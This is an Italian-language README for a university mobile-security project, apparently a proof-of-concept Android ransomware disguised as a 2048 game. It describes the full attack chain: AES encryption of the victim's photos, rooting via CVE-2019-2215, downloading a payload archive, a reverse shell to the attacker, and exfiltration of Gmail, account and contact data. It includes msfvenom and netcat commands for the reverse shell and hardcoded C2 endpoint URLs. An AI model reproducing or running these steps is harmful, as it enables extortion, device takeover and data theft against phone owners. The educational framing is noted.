Rootsmart 2.0 con cve-2019-2215 + Ransomware

Dichiarazione di non responsabilità

Questo progetto è esclusivamente a scopo educativo. Questo progetto utilizza codice da rkshrksh/2048-Game e kangtastic/cve-2019-2215.

Descrizione del progetto

Questo progetto fa parte del modulo Mobile Security del Singapore Institute of Technology. Il progetto è stato realizzato in 6 settimane e l'obiettivo era sviluppare un'applicazione Android dannosa. In questo modo, ci ha aiutato a imparare come i meccanismi di sicurezza sono implementati in un sistema operativo Android e come possiamo esercitare OWASP Mobile Top 10:2017 M8 - Code Tampering.

Il progetto è una prova di concetto per mostrare un ransomware scritto su misura che utilizza la crittografia AES, sfruttando come arma cve-2019-2215 ed esfiltrando anche dati dal dispositivo infetto.

È stato testato su Android 10 e Google Pixel 2 XL.

├── 2048-Game 					// Android Project Folder
├── 2048-keystore				// Test-Keystore
├── cve-2019-2215				// Modified cve-2019-2215
│	└── cve-2019-2215.c
├── dropper_server				// Dropper server directory 
│	├── cve-2019-2215			// shells.zip content before zipping
│	├── dropper_server.py		// Dropper server program
│	├── exfiltrated_data.log
│	├── masterkeys.txt
│	├── ncat.exe 				// Netcat windows binary - for Reverse shell listener
│	├── requirements.txt
│	├── shells.zip  			// shells.zip that is hosted in root of dropper server
│	└── venv
└── test_images    				// test_images for easy adb push <image.ext> /sdcard/Pictures

Vettore d'attacco:

1. Installare, eseguire l'applicazione e concedere le autorizzazioni
2. Il ransomware crittograferà via AES tutti i file in /sdcard/Pictures
3. Ogni file verrà crittografato con una chiave generata casualmente
4. Le chiavi verranno salvate in /sdcard/keys.json dove ogni coppia chiave:valore è filepath:key
5. Richiesta GET HTTP al server C2 /get_mk per recuperare MasterKey e VictimID nel corpo della risposta
6. MasterKey crittograferà keys.json, VictimID verrà salvato in /sdcard/victimID.txt
7. L'applicazione scaricherà shells.zip e decomprimerà il contenuto
8. Eseguirà il binario cve-2019-2215 dal contenuto decompresso
9. Verrà avviato un processo shell di root che eseguirà install.sh dal contenuto decompresso
10. Install.sh eseguirà rs.elf dal contenuto decompresso per inviare una connessione inversa al server di attacco
11. L'applicazione esfiltrerà la gmail, le informazioni sull'account utente e i contatti del dispositivo.

Dimostrazione

https://user-images.githubusercontent.com/56181271/155875246-092a3954-2f42-42b7-a00e-581a1bbf0546.mp4

Configurazione C2 (Command & Control)

Per questo test, assicurarsi che il telefono vittima e il server C2 siano nella stessa sottorete (altrimenti ospitare il C2 su internet pubblico). Ci sono 3 endpoint per il server C2 che si trovano in dropper/dropper_server.py:

1. /process_command - GET per scaricare shells.zip ed eseguire l'exploit root cve-2019-2215
2. /get_mk - GET per ottenere la coppia chiave-valore victimID:masterkey per crittografare /sdcard/keys.json
3. /postData - POST per l'esfiltrazione di gmail, contatti e informazioni account

Server Reverse Shell

nc -lvnp 1337 # Ideally this should be the same IP as the dropper server

Server Dropper

# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf

# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv

# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator

# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows

shells.zip in /dropper

1. Vai nella cartella dropper/cve-2019-2215
2. Dopo aver creato rs.elf, comprimi in zip rs.elf + cve-2019-2215, install.sh
3. Rinomina il file zip in shells.zip
4. Sposta shells.zip in /dropper

Modificare quanto segue prima di compilare l'APK

Classi Java

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45

// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32